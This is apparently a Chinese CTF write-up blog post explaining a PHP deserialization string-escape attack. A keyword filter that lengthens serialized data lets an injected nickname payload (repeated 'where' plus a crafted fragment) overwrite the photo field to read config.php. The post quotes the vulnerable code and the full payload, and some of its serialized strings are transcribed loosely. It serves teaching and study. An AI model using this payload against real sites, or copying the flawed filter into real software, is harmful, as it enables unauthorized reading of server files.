直接看核心代码

//update.php

$profile['phone'] = $_POST['phone'];
        $profile['email'] = $_POST['email'];
        $profile['nickname'] = $_POST['nickname'];
        $profile['photo'] = 'upload/' . md5($file['name']);

        $user->update_profile($username, serialize($profile));
//class.php

public function update_profile($username, $new_profile) {
        $username = parent::filter($username);
        $new_profile = parent::filter($new_profile);
        $where = "username = '$username'";
        return parent::update($this->table, 'profile', $new_profile, $where);
}

public function update($table, $key, $value, $where) {
    $sql = "UPDATE $table SET $key = '$value' WHERE $where";
    return mysql_query($sql);
}

public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);
        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);

update里把传入的参数序列化之后传到控制类中的update_profile 用filter过滤之后存到数据库里 漏洞触发点就在这里,正则把序列化的内容替换成hacker,给了我们改变序列化内容长度的空间。

传入nickname=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php
原本序列化内容是s:186:{""wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

/ 补充**

在这里面前一个加粗的;}是被当作字符串看待的

在经过替换之后变成了s:186:{“hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}

在字符串变长我们输入的字符被挤掉之后,加粗;}变成了

前一个我们自己传入的;}闭合了nickname 的内容,然后我们自己输入的内容就逃逸了出去,后一个;}闭合了语句,导致原代码中默认传入带/upload的photo被我们自己传入的覆盖了

之所以用:}是因为nickname为了绕过传入了数组,序列化的是形如

a:4:{s:5:"phone";s:7:"1234546";s:5:"email";s:7:"@qq.com";s:8:"nickname";a:1:{i:0;s:4:"abcd";}s:5:"photo";s:7:"upload/";}

如果不传入数组应该是

a:4:{s:5:"phone";s:7:"1234546";s:5:"email";s:7:"@qq.com";s:8:"nickname";s:4:"abcd";s:5:"photo";s:7:"upload/";}
//在不传入数组的情况下,闭合前面的语句显然应该用";
这里原wp的作者没有讲清楚,没有写出payload构造的因果关系,可能他自己也不太清楚payload为什么是这么构造的

***/

长度变化之后多了34位,原本应该是序列化字符串中的";}变成了闭合标志,后面的内容被挤出来了

达成了读取

Categories: 技术

0 Comments

发表评论

Avatar placeholder

您的电子邮箱地址不会被公开。 必填项已用*标注